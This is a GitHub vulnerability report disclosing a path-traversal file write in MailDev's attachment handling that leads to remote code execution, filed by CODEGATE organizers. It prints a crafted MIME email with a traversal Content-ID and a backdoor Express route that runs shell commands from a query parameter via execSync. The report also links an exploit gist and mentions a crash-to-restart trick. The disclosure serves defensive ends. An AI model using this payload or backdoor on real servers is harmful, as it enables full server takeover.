Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Vulnerability] Arbitrary File Write leading to Remote Code Execution (RCE) #467

Open
stypr opened this issue Aug 25, 2023 · 4 comments · May be fixed by #487
Open

[Vulnerability] Arbitrary File Write leading to Remote Code Execution (RCE) #467

stypr opened this issue Aug 25, 2023 · 4 comments · May be fixed by #487

Comments

@stypr
Copy link

stypr commented Aug 25, 2023

We (The organizing members of the international cybersecurity competition CODEGATE - https://codegate2023.org/) have found a vulnerability that could possibly overwrite any files by sending a malicious e-mail to port 1025.

This vulnerability could possibly force-write existing sourcecodes and could completely takeover the server.

Explanation

maildev/lib/mailserver.js

Lines 92 to 100 in 357a20e

function saveAttachment (id, attachment) {
if (!fs.existsSync(path.join(mailServer.mailDir, id))) {
fs.mkdirSync(path.join(mailServer.mailDir, id))
}
const output = fs.createWriteStream(
path.join(mailServer.mailDir, id, attachment.contentId)
)
attachment.stream.pipe(output)
}

There is no path sanitization done when files are sent with a malicious contentId. This means, it is possible to do a path traversal to access the parent directory and overwrite any files.

For example, when a mail with the following content is sent to a server in port 1025, lib/routes.js will be overwritten and the malicious code will start to be affected from next restart of the process. There is no user interaction required to achieve this attack.

The following mail content was tested on the latest Docker instance (soulteary/maildev:latest) and was found to be exploitable.

...
--mixed-content-malicious
Content-Type: image/png; charset=UTF-8; filename="a.png"
Content-ID: <../../../home/node/lib/routes.js>
Content-Transfer-Encoding: base64
Content-Disposition: inline

... ( some malicious base64 content ) ...

--mixed-content-malicious--

content of the encoded base64 content

/**
 * MailDev - routes.js
 */
const express = require('express')
const compression = require('compression')
const pkg = require('../package.json')
const { filterEmails } = require('./utils')
...
  // Health check
  router.get('/healthz', function (req, res) {
    res.json(true)
  })

  // Malicious Endpoint
  router.get('/malicious_command_running_endpoint', function(req, res) {
    res.json(require("child_process").execSync(req.query.cmd).toString())
  })
...
...
@stypr
Copy link
Author

stypr commented Aug 25, 2023

Would be really appreciated to check on this issue immediately..
@maildev / @djfarrelly / @soulteary

@albanm
Copy link

albanm commented Apr 11, 2024

FYI I have found the resolve-path module useful to fix this type of vulnerability.

@sharat87 sharat87 linked a pull request Apr 13, 2024 that will close this issue
@stypr
Copy link
Author

stypr commented Apr 26, 2024

CVE assigned for this bug I guess CVE-2024-27448

@stypr
Copy link
Author

stypr commented Apr 26, 2024

The exploit gist is here as for the reference: https://gist.github.com/stypr/fe2003f00959f7e3d92ab9d5260433f8
There is a way to force-crash (DoS) the instance so that the backdoor is loaded upon the restart of the process. I didn't add that on it.

@stypr stypr reopened this Apr 27, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants